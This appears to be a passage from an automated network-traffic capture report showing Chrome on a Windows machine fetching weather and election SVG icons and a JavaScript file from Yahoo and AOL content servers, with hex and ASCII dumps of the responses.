2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 4e 93 bb ba 97 0d 0f b0 9c 57 9f 4f de 84 b9 bd ac d9 71 b5 43 9b db ee ec af 95 ad f9 30 9b 79 99 fb 56 49 d0 a0 49 9b 0e 33 36 dc 4d 28 53 e1 96 46 ed 3a 75 e9 31 bf 08 5d c3 05 6d 9c c3 ed a5 a9 21 b2 60 c5 1e 09 dd 6a f5 9a b5 ea c0 6c bf 83 a6 20 55 66 53 78 58 ae 79 8f bf 6e 28 8d c6 d1 7a 8e 83 61 81 a7 cc 6a 91 3f 65 38 17 0d d6 ad bc 93 c6 d4 ac e1 97 94 b6 de 22 dd 6d 0f 88 71 58 74 5f ab 0d 17 86 be 43 b3 21 2c b4 39 38 37 08 1b d8 0e 14 06 b0 e0 c7 36 dc 32 fb 55 fd cc 3e be b7 d1 d5 77 f6 75 a3 86 56 eb 52 59 72 a2 29 2e 85 82 53 d5 a6 73 8a 95 a7 1c 25 c6 7b 13 5a 64 3a c7 c2 44 c5 0e a4 b8 c0 d8 ac 41 52 60 0c d5 bd 23 51 22 4d 8c 90 fe 02 e3 bc 3f 91 4a f3 08 f2 bd 7b 73 80 bc 82 8c ab f7 1e 67 1e 9b 74 75 da 70 42 3c af 0c c9 24 46 47 d2 Data Ascii: NWOqC0yVII36M(SF:u1]m!`jl UfSxXyn(zaj?e8"mqXt_C!,98762U>wuVRYr).Ss%{Zd:DAR`#Q"M?J{sgtupB<$FG
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: a0 f4 5c 94 5a a0 36 c9 91 e1 8a 22 af 98 97 9f 26 37 8c ff a2 1c 86 8f 6b 68 e2 1b f7 e8 53 44 19 c2 14 52 a3 80 9f c2 6f ea b7 67 2f e0 dc 3d 7e ee 3d 98 da 30 d4 a8 50 24 ef 6a ae ad 2d e1 90 ef a5 2a 90 3a f9 af c3 c1 bf 83 fe 99 3a b4 19 da 18 c4 43 68 35 b4 52 b0 3c 6a 6a 89 43 f3 05 5f 95 e0 cb a0 81 2b 37 d4 a5 da b8 ed ea 1c 81 af b8 67 48 8f 19 a2 15 d1 83 35 c3 9f cb 23 15 5a 5c ca 99 7e 25 aa 1c 07 4b e5 eb b9 08 e2 4b 04 b0 03 33 47 ce 68 14 2c 45 8b 38 85 49 ec aa a1 4f 35 3d 52 2d e3 aa 6d ba 55 e7 e7 d4 0f ac 12 0e b4 38 00 05 35 45 71 32 9a 47 c4 c0 01 6e 94 21 01 6f 58 44 e8 58 31 1e 1d 18 2a 51 65 bb 64 58 55 56 98 08 07 32 a0 46 8e 18 54 b1 f5 1f 9e 79 90 2c 23 e4 8f 36 74 65 f2 64 8e 60 af 9f 89 8a 10 5d 11 13 3a 70 a4 a1 e5 c0 c1 26 Data Ascii: \Z6"&7khSDRog/=~=0P$j-::Ch5R<jjC_+7gH5#Z\~%KK3Gh,E8IO5=R-mU85Eq2Gn!oXDX1QedXUV2FTy,#6ted`]:p&
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 10 a5 31 1b 46 6e 6e 2a 59 3e 9d ee 93 34 a2 a6 ce e4 ba 0c 10 33 a5 e6 5e dd 99 be 14 13 cf 1a 6e bb a8 bc 83 f4 b6 16 77 72 ea 84 2a 2c 20 45 61 b0 4e 85 15 ca 50 90 01 b9 c2 30 14 81 3c 72 2a b2 78 2e 0e 00 32 10 e6 b7 6a 54 36 19 01 7d 41 d2 2f 58 63 38 bc 87 72 68 7a 8e 6b 3b d3 a0 3d 97 e4 cc 42 56 28 28 90 ef 32 fb 14 cd 8f 83 04 ce 9a 0f a4 16 e1 03 06 02 65 aa ba c2 e9 55 8c 56 14 6f 30 ef 16 37 01 45 0e f6 0b 6f 90 32 dd 12 b8 22 61 f2 14 66 58 31 bc e8 92 59 3e 5b 56 51 8d da 7e 07 a8 44 d0 9c ae c8 27 09 b8 f4 90 18 a0 b0 1e ce b1 95 2a 64 94 a3 6d 2a 1e 38 cb 1b ec 9c 80 6c 40 f5 74 62 31 4d 41 7c 75 8a 91 ae 67 7c 78 85 e2 b3 a7 e3 d1 0d 8c 65 7a 64 cf 84 b2 09 eb 30 64 a3 2f 87 bc 47 1a a4 44 16 2a 5c 86 5a 23 ce 6b 7d 7a eb 80 d5 41 04 5f Data Ascii: 1FnnY>43^nwr, EaNP0<rx.2jT6}A/Xc8rhzk;=BV((2eUVo07Eo2"afX1Y>[VQ~D'dm8l@tb1MA\|ug\|xezd0d/GD\Z#k}zA_
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: ea 15 1a b6 80 26 02 a2 a0 8e 53 8b 4a 65 e6 b6 30 e2 3e c8 25 d0 d8 5d a2 dc 13 5e 45 79 a8 e0 38 a2 28 24 ca 3c f3 56 e6 45 54 ee 7a c5 ac 40 68 98 0b 8b fa 61 99 57 ba 96 66 14 6f 69 5b 07 75 27 2d 14 44 47 00 dc 9b 19 82 20 70 18 93 c2 8b 39 55 93 2c f0 97 21 24 a5 80 f4 3d 2e 25 d4 bd b4 4d 14 0d 66 e5 83 45 e4 eb 1d 07 a1 ce 9c 79 51 ea 7b a6 de f4 d6 2c ea 8b 74 3d 47 4e 22 22 81 90 04 4a 08 e8 d2 31 c4 92 4b d3 47 1e 25 2c 90 ab 8b e6 44 f3 fe b8 c1 8d 95 2c 25 92 1c 45 d4 81 a1 40 d6 a0 d1 41 fe ea 81 1c 7f 22 04 d7 39 08 68 d3 ae 71 a4 c3 3a 17 16 94 a0 c4 75 20 cf 03 0a 88 28 9f 80 24 68 81 ea 1c ea 21 10 79 5f b6 b0 c4 4c 1b cd 0c 39 7e 50 c2 ff f0 fa 63 33 23 ca ea d2 64 d4 92 0e 50 0b 69 d6 06 e4 12 c1 d9 37 a3 4b a5 00 66 8d f4 f1 7d 1c c5 Data Ascii: &SJe0>%]^Ey8($<VETz@haWfoi[u'-DG p9U,!$=.%MfEyQ{,t=GN""J1KG%,D,%E@A"9hq:u ($h!y_L9~Pc3#dPi7Kf}
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 9c 5c 0d a5 d6 11 6c 18 7f 54 72 95 25 af a3 01 5d d3 b0 d3 bc 94 94 14 94 9d 2d ba e8 27 87 8c cb 2a 8e 49 5e 87 e1 01 10 29 3d d0 ca 38 c0 95 cf 74 28 b7 84 ea 6c 1a b9 3f 1d b6 71 68 07 51 4d a0 cd 6e a9 5d 07 b1 bf c7 bb db c0 13 98 69 b4 ae a2 77 0e d3 8d c4 17 54 71 1c 33 57 2f 83 bc 4e a3 7e 94 7e 8a 42 ee d3 d6 b8 7b fb 5c 1f 5c bb 6c 3a bb 7b 1d 62 6d b4 58 6c d6 71 6a 07 b5 3d 34 8e 1c bc 33 fc d8 cb 1c 19 34 6b cd c5 b1 d2 a4 44 af b1 b3 78 94 ee 01 cd 5b af 99 9c 1c db 41 9f 04 27 7f 13 7d 4e e5 f4 8b 40 08 4f da 1a ee 16 f2 9f eb fa 4b 5e 90 ed 28 c5 c8 47 fe cc 76 1b de 9d 1f a9 a5 d5 a3 f4 8d 60 08 55 d7 2c 4f a2 bc 76 8c bd 23 23 5d 83 e6 ba 3a 71 b1 e5 f9 9d 14 97 17 18 45 62 e7 3e f8 48 09 d4 99 fe 4f e4 64 9e 94 b6 26 d0 44 f9 0b 65 fd Data Ascii: \lTr%]-'*I^)=8t(l?qhQMn]iwTq3W/N~~B{\\l:{bmXlqj=434kDx[A'}N@OK^(Gv`U,Ov##]:qEb>HOd&De
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: e4 a3 56 1b 89 ca 3a c1 63 7e 55 4c d8 ea 11 52 ca 56 9b 6d ad ab 15 90 ec 3b 06 02 a1 5a 5a 0b c7 ca c0 1f 77 ce c1 30 54 c5 0c 08 d5 70 c1 3d 5c f8 c9 61 af 5a 90 91 8f f3 4b e5 15 4c a9 15 60 a1 28 ac c6 d5 f9 29 a7 69 77 ca c7 d2 98 3b 09 0f 56 4a ad e5 39 84 57 72 3c e7 e1 4c 14 98 52 8c ea ae bd db d7 a0 a5 89 4c e8 5a 62 fa c9 ba 37 f6 60 08 db 07 79 36 c3 4d 80 d9 b9 b7 86 ee 84 7f 52 e7 79 14 3c 11 f9 00 62 7e fe 78 62 79 00 9a 92 17 a8 10 bf 67 33 1c c0 62 59 14 d5 c0 46 8d 71 20 db 5d ab 08 39 18 23 52 ee 50 a3 42 88 1b 8d 6c fd 11 ea 1e 6c f7 69 50 00 df e8 02 70 3d 82 6c 60 81 a8 13 02 1d 75 85 8e 0a 24 fe e5 e5 30 ec a4 09 92 b7 50 89 83 96 69 7a d4 dd 21 27 7e 8d fc 3a 44 b4 a5 ca 38 34 92 30 11 99 b6 89 13 6f 8b 9c 69 b8 7a 4d 08 a6 d3 b3 Data Ascii: V:c~ULRVm;ZZw0Tp=\aZKL`()iw;VJ9Wr<LRLZb7`y6MRy<b~xbyg3bYFq ]9#RPBlliPp=l`u$0Piz!'~:D840oizM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49772	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	394	OUT	GET /cv/apiv2/aolfp/images/weather/large/28-mostly-cloudy-day.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: CrsI/x9dAsynr0QSeuFsmF4E2k5271zOAmH900enmGnm5O8h77GATu1lnhm5GN2jhc+pM8ssXlc= x-amz-request-id: KXF7RS5W5QTVMTVP Date: Thu, 02 May 2024 01:21:26 GMT Last-Modified: Fri, 17 Mar 2023 06:48:19 GMT ETag: "0569dc23a557ab5e62e6ae0d5170c490" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 2594 Referrer-Policy: no-referrer-when-downgrade Age: 1890792 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 38 22 20 68 65 69 67 68 74 3d 22 31 32 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 20 31 32 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 33 22 20 64 3d 22 4d 35 37 2e 35 20 39 35 43 37 39 2e 38 36 37 35 20 39 35 20 39 38 20 37 36 2e 38 36 37 35 20 39 38 20 35 34 2e 35 43 39 38 20 33 32 2e 31 33 32 35 20 37 39 2e 38 36 37 35 20 31 34 20 35 37 2e 35 20 31 34 43 33 35 2e 31 33 32 35 20 31 34 20 31 37 20 33 32 2e 31 33 32 35 20 31 37 20 35 34 2e 35 43 31 37 20 37 36 2e 38 36 37 35 20 33 35 2e 31 33 32 35 20 39 35 20 35 37 2e 35 20 39 35 5a 22 20 66 Data Ascii: <svg width="128" height="128" viewBox="0 0 128 128" fill="none" xmlns="http://www.w3.org/2000/svg"><path opacity="0.3" d="M57.5 95C79.8675 95 98 76.8675 98 54.5C98 32.1325 79.8675 14 57.5 14C35.1325 14 17 32.1325 17 54.5C17 76.8675 35.1325 95 57.5 95Z" f
2024-05-23 22:34:36 UTC	1294	IN	Data Raw: 34 36 2e 37 39 37 32 20 34 37 2e 33 35 33 36 20 34 32 2e 39 32 20 36 34 2e 37 32 43 34 30 2e 30 38 30 36 20 36 33 2e 35 39 33 34 20 33 37 2e 30 35 34 38 20 36 33 2e 30 31 20 33 34 20 36 33 43 32 30 2e 37 34 35 32 20 36 33 20 31 30 20 37 33 2e 37 34 35 32 20 31 30 20 38 37 43 31 30 20 31 30 30 2e 32 35 35 20 32 30 2e 37 34 35 32 20 31 31 31 20 33 34 20 31 31 31 48 38 30 43 31 30 30 2e 39 38 37 20 31 31 31 20 31 31 38 20 39 33 2e 39 38 36 38 20 31 31 38 20 37 33 43 31 31 38 20 35 32 2e 30 31 33 32 20 31 30 30 2e 39 38 37 20 33 35 20 38 30 20 33 35 5a 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 30 2e 32 22 2f 3e 0a 3c 64 65 66 73 3e 0a 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 70 61 69 6e 74 30 5f Data Ascii: 46.7972 47.3536 42.92 64.72C40.0806 63.5934 37.0548 63.01 34 63C20.7452 63 10 73.7452 10 87C10 100.255 20.7452 111 34 111H80C100.987 111 118 93.9868 118 73C118 52.0132 100.987 35 80 35Z" fill="white" fill-opacity="0.2"/><defs><linearGradient id="paint0_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49773	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	400	OUT	GET /caas-assets-production/assets/v1/images/icons/elections-2024.svg HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	620	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5167543 Cache-Control: max-age=365000000, immutable Content-Type: image/svg+xml Date: Thu, 23 May 2024 22:34:36 GMT Etag: "93fe207c1b9a8c0b94bd6672c011a260" Last-Modified: Mon, 29 Jan 2024 15:56:05 GMT Server: ECAcc (lhd/35C1) x-amz-id-2: zDiGqMrrcz6gtfmcbroQuKeGUHLnNlA6Xi5VZ4v3BLUuiZvJyUanr9f4M6fQ9AjoI3ay9N1Z5kU= x-amz-replication-status: COMPLETED x-amz-request-id: 0MX06WAG0KF43M8P x-amz-server-side-encryption: AES256 x-amz-version-id: Ms9nYqJanFgZvuhAPEDD6x_pMezWGxUs X-Cache: HIT Content-Length: 2346 Connection: close
2024-05-23 22:34:36 UTC	2346	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 33 33 22 20 68 65 69 67 68 74 3d 22 31 31 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 33 20 31 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 30 2e 34 36 32 20 38 2e 33 30 32 43 31 2e 33 36 37 33 33 20 37 2e 35 39 32 36 37 20 32 2e 31 30 39 33 33 20 36 2e 39 38 31 33 33 20 32 2e 36 38 38 20 36 2e 34 36 38 43 33 2e 32 36 36 36 37 20 35 2e 39 35 34 36 37 20 33 2e 37 35 32 20 35 2e 34 32 37 33 33 20 34 2e 31 34 34 20 34 2e 38 38 36 43 34 2e 35 33 36 20 34 2e 33 33 35 33 33 20 34 2e 37 33 32 20 33 2e 38 31 32 36 37 20 34 2e 37 33 32 20 33 2e 33 31 38 43 34 2e 37 33 32 20 33 2e 30 Data Ascii: <svg width="33" height="11" viewBox="0 0 33 11" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M0.462 8.302C1.36733 7.59267 2.10933 6.98133 2.688 6.468C3.26667 5.95467 3.752 5.42733 4.144 4.886C4.536 4.33533 4.732 3.81267 4.732 3.318C4.732 3.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49774	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	381	OUT	GET /cv/apiv2/aolfp/images/weather/small/12-rain.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:37 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: kKjktkB1ZRgwWxcB8i4Yz3VtMxLyb8WnioEAmHHKYu7BESQNjMtRJcYWmskNjsbIWnBDWX/8anY= x-amz-request-id: T5B75825M2YHDH05 Date: Sat, 11 May 2024 15:46:04 GMT Last-Modified: Fri, 17 Mar 2023 06:48:20 GMT ETag: "abba7d60c3e8fc1c96ec886e0347a5bf" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1647 Referrer-Policy: no-referrer-when-downgrade Age: 1061314 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 36 20 31 37 2e 32 33 30 38 43 34 36 20 32 35 2e 36 39 32 33 20 33 39 2e 32 33 30 38 20 33 32 2e 34 36 31 35 20 33 30 2e 37 36 39 32 20 33 32 2e 34 36 31 35 48 31 31 2e 33 30 37 37 43 36 2e 32 33 30 37 37 20 33 32 2e 34 36 31 35 20 32 20 32 38 2e 32 33 30 38 20 32 20 32 33 2e 31 35 33 38 43 32 20 31 38 2e 30 37 36 39 20 36 2e 32 33 30 37 37 20 31 33 2e 38 34 36 32 20 31 31 2e 33 30 37 37 20 31 33 2e 38 34 36 32 43 31 32 2e 38 33 30 38 20 31 Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M46 17.2308C46 25.6923 39.2308 32.4615 30.7692 32.4615H11.3077C6.23077 32.4615 2 28.2308 2 23.1538C2 18.0769 6.23077 13.8462 11.3077 13.8462C12.8308 1
2024-05-23 22:34:37 UTC	347	IN	Data Raw: 33 36 43 31 31 2e 36 36 38 36 20 33 36 20 31 34 2e 35 32 36 34 20 34 30 2e 39 32 31 31 20 31 33 2e 39 31 34 20 34 32 2e 39 37 31 36 5a 22 20 66 69 6c 6c 3d 22 23 31 32 41 39 46 46 22 2f 3e 0a 3c 64 65 66 73 3e 0a 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 34 30 38 22 20 78 31 3d 22 35 31 2e 39 38 35 32 22 20 79 31 3d 22 33 32 2e 34 36 31 35 22 20 78 32 3d 22 35 31 2e 39 38 35 32 22 20 79 32 3d 22 32 2e 34 31 31 36 34 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 3e 0a 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 32 31 30 34 33 36 22 20 73 74 6f 70 Data Ascii: 36C11.6686 36 14.5264 40.9211 13.914 42.9716Z" fill="#12A9FF"/><defs><linearGradient id="paint0_linear_104_408" x1="51.9852" y1="32.4615" x2="51.9852" y2="2.41164" gradientUnits="userSpaceOnUse"><stop stop-color="#B5BDC8"/><stop offset="0.210436" stop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49775	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	394	OUT	GET /cv/apiv2/aolfp/images/weather/small/30-partly-cloudy-day.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:37 UTC	766	IN	HTTP/1.1 200 OK x-amz-id-2: j4Jr/Czyq5PATP3uaDJeb6xPDAOboGUwIoSOXDY1b1u/U+jazyQ68pAyC16xvXAtVaoEdUV8rFQ= x-amz-request-id: 7XYDEDKSNJ7RRVAW Date: Thu, 23 May 2024 22:34:38 GMT Last-Modified: Fri, 17 Mar 2023 06:48:20 GMT ETag: "189ee100fce59f87bc6b7666a6caf553" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 2594 Referrer-Policy: no-referrer-when-downgrade Age: 0 Access-Control-Allow-Origin: * Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 34 20 34 32 43 33 33 2e 39 34 31 31 20 34 32 20 34 32 20 33 33 2e 39 34 31 31 20 34 32 20 32 34 43 34 32 20 31 34 2e 30 35 38 39 20 33 33 2e 39 34 31 31 20 36 20 32 34 20 36 43 31 34 2e 30 35 38 39 20 36 20 36 20 31 34 2e 30 35 38 39 20 36 20 32 34 43 36 20 33 33 2e 39 34 31 31 20 31 34 2e 30 35 38 39 20 34 32 20 32 34 20 34 32 5a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 30 34 5f 35 35 30 29 22 2f Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M24 42C33.9411 42 42 33.9411 42 24C42 14.0589 33.9411 6 24 6C14.0589 6 6 14.0589 6 24C6 33.9411 14.0589 42 24 42Z" fill="url(#paint0_linear_104_550)"/
2024-05-23 22:34:37 UTC	1294	IN	Data Raw: 30 38 32 35 5a 22 20 66 69 6c 6c 3d 22 23 37 44 43 42 46 46 22 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 30 2e 30 35 22 2f 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 33 35 2e 34 32 38 34 20 31 35 2e 30 38 32 35 43 33 30 2e 34 38 34 35 20 31 35 2e 32 39 35 39 20 32 36 2e 34 31 31 20 31 39 2e 31 33 38 32 20 32 35 2e 37 38 36 32 20 32 34 2e 31 37 37 34 43 32 34 2e 30 31 35 20 32 33 2e 37 35 31 31 20 32 32 2e 31 35 31 20 32 34 2e 30 38 34 34 20 32 30 2e 36 32 34 34 20 32 35 2e 31 30 30 33 43 31 38 2e 37 32 35 33 20 32 36 2e 32 34 33 37 20 31 37 2e 34 32 32 36 20 32 38 2e 31 39 37 38 20 31 37 2e 30 37 32 20 33 30 2e 34 32 39 32 43 31 36 2e 38 39 35 32 20 33 31 2e 36 38 32 35 20 31 37 2e 30 34 35 33 20 33 32 2e 39 36 31 34 20 31 37 2e 35 30 37 20 33 34 2e 31 33 35 Data Ascii: 0825Z" fill="#7DCBFF" fill-opacity="0.05"/><path d="M35.4284 15.0825C30.4845 15.2959 26.411 19.1382 25.7862 24.1774C24.015 23.7511 22.151 24.0844 20.6244 25.1003C18.7253 26.2437 17.4226 28.1978 17.072 30.4292C16.8952 31.6825 17.0453 32.9614 17.507 34.135

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49776	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	526	OUT	GET /aaq/wf/wf-dl-1.7.0.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:37 UTC	855	IN	HTTP/1.1 200 OK x-amz-id-2: NTZesrkzNehaMMcp3v7Yd+kxhs5/izYB/fBJQGw+BZrFYUOfb2VUXOH+18+XYZelyLiDjFszmWE= x-amz-request-id: Y8E4GRHCDYE3C7Y9 Date: Wed, 01 May 2024 09:08:44 GMT Last-Modified: Wed, 27 Mar 2024 16:25:40 GMT ETag: "f504546f5c9f0e405d16dfbb9f07f7ae" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: .moty3X8VTujGF8vFQi3FNPO4QPVh2ig Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 46710 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1949155 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 64 6c 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 64 6c 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 2e 77 61 66 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-dl",[],t):"object"==typeof exports?exports["wafer-dl"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.waf
